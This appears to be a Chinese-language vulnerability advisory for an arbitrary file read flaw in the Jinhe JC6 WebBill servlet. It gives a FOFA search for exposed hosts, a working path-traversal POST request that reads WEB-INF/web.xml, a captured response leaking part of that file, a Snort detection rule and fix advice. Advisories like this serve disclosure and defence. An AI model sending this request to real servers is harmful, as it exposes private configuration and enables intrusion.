

# 金和 JC6 WebBill 存在任意文件读取漏洞

金和 JC6 WebBill 存在任意文件读取漏洞，从而导致读取服务器上的敏感文件。

## 影响版本

金和 JC6

## 漏洞状态

| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|------|-------|-------|------|
| 是    | 已公开   | 已公开   | 已知   |

## 风险等级

| 维度    | 评价 |
|-------|----|
| 威胁等级  | 高危 |
| 影响面   | 广  |
| 攻击者价值 | 高  |
| 利用难度  | 低  |

## 漏洞复现

FOFA：app="金和网络-金和OA" || body="/jc6/platform/sys/login"

POC/EXP：

```
POST /jc6/servlet/webBill?key=GetFileContent&pathfile=../../WEB-INF/web.xml
HTTP/1.1
Host: 127.0.0.1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=296A312ED2622E86F109066AA9BC1554
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
```

发送请求

强制 HTTPS

历史

爆破示例

Request

数据包扫描

美化

热加载

构造请求

1

POST /jc6/servlet/WebBill?key=GetFileContent&pathfile=../../WEB-INF/web.xml HTTP/1.1

2

Host : 192.168.1.100

3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

4

Accept-Encoding: gzip, deflate

5

Accept-Language: zh-CN,zh;q=0.9

6

Cookie: JSESSIONID=296A312ED2622E86F109066AA9BC1554

7

Upgrade-Insecure-Requests: 1

8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36

9

10

Responses

14980bytes / 85ms

美化

渲染

编码

详情

1

HTTP/1.1 200

2

Content-Type: text/html; charset=UTF-8

3

Date: Mon, 16 Jun 2025 02:12:38 GMT

4

Content-Length: 15889

5

6

<?xml version="1.0" encoding="UTF-8"?><web-app

7

version="2.5"

8

xmlns="http://java.sun.com/xml/ns/javaee"

9

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

10

xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app\_2\_5.xsd"

11

>

12

<!--tomcat session变韩-->

13

<distributed/>

14

<!-- 404 500 错误 -->

15

<error-page>

16

<error-code>404</error-code><location>/error404.jsp</location>

17

</error-page>

18

<error-page>

19

<error-code>500</error-code><location>/error500.jsp</location>

20

</error-page>

21

<!-- --> <context-param> <param-name>webAppRootKey<param-name> <param-value>jcs</param-value> </context-param> -->

22

<!-- Log4j -->

23

<context-param>

24

<param-name>log4jConfigLocation</param-name>

25

<param-value>classpath:log4j.properties</param-value>

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Jinhe JC6 - Arbitrary File Read via WebBill Servlet (CVE-202X-XXXX)";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/jc6/servlet/WebBill"; http_uri;
  content:"key=GetFileContent"; http_uri;
  pcre:"/pathfile=[^\s]*\\.\\.\\.\\/i";
  metadata:service http;
  metadata:affected_product "金和JC6协同管理平台";
  metadata:attack_type "Directory Traversal";
  metadata:severity "high";
  reference:url,www.example.com/vulnldb/jinhe-jc6-file-read;
  classtype:web-application-attack;
  sid:1000117;
  rev:1;
  priority:1;
)
```

# 漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。